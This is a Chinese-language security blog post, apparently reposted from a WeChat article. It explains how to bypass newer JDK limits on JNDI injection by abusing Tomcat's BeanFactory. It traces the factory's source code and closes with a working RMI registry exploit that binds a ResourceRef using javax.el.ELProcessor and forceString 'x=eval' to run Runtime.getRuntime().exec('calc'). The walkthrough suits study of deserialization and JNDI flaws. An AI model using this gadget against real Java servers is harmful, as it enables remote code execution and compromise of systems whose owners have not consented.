绕过高版本JDK限制的JNDI注入
2023-5-24 08:31:17 Author: HACK安全(查看原文) 阅读量:16 收藏

在JDK 6u132 7u122 8u113开始,trustURLCodebase默认为了false,其实意思就是不能加载远程RMI代码了。

本篇主要是讲解BeanFactory绕过方式

//检索此引用引用的对象的工厂位置。String getFactoryClassLocation()

结合493行代码可以看到。会抛异常。

但是绕过此处if的话,可以将ref.getFactoryClassLocation()返回null,也就是说让ref对象的classFactoryLocation为null即可绕过

之后跟进NamingManager.getObjectInstance

首先分析ref.getFactoryClassName();逻辑

其实这个factory就是子类传过来的

而这个子类就是ResourceRef,在RMI传参时传入了BeanFactory

最终通过Reference来返回 org.apache.naming.factory.BeanFactory

接着回到NamingManager中,所以此时的factory就是BeanFactory

也就是说最终会调用到BeanFactory.getObjectInstance()中

继续跟进

public Object getObjectInstance(Object obj, Name name, Context nameCtx,                                Hashtable<?,?> environment)    throws NamingException {
Reference ref = (Reference) obj; String beanClassName = ref.getClassName();//获取ELProcess这个类路径的字符串 ClassLoader tcl = Thread.currentThread().getContextClassLoader(); // 1. 反射获取类对象 if (tcl != null) { //tcl为AppClassLoader,用来获取这个类对象 beanClass = tcl.loadClass(beanClassName); } else { beanClass = Class.forName(beanClassName); } // 2. 初始化类实例 调用ELProcess这个类的无参构造 Object bean = beanClass.getConstructor().newInstance();
// 3. 根据 Reference 的属性查找 setter 方法的别名 RefAddr ra = ref.get("forceString"); String value = (String)ra.getContent();//x=eval
// 4. 循环解析别名并保存到字典中 for (String param: value.split(",")) { param = param.trim(); index = param.indexOf('='); if (index >= 0) { //进行分割操作。x和eval分别存到变量中 setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } forced.put(param, beanClass.getMethod(setterName, paramTypes)); }
// 5. 解析所有属性,并根据别名去调用 setter 方法 Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); String value = (String)ra.getContent(); Object[] valueArray = new Object[1]; Method method = forced.get(propName); if (method != null) { valueArray[0] = value; method.invoke(bean, valueArray); } }}

最终是通过反射执行

代码如下:

  public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(7777);//注册中心绑定的端口        //绑定的恶意类       // Reference reference = new Reference("T","T","http://127.0.0.1:80");        //RemoteReference        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",                true, "org.apache.naming.factory.BeanFactory", null);        ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("RCE",referenceWrapper);
}

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NjU0MjA0Ng==&mid=2247487475&idx=1&sn=a847c5b132da2df827ac0f401aed6648&chksm=ce480742f93f8e54ae89395d0dc3aea24e13ad7c744f7e4773b21af59ae8204f3ce6d19e6582#rd
如有侵权请联系:admin#unsafe.sh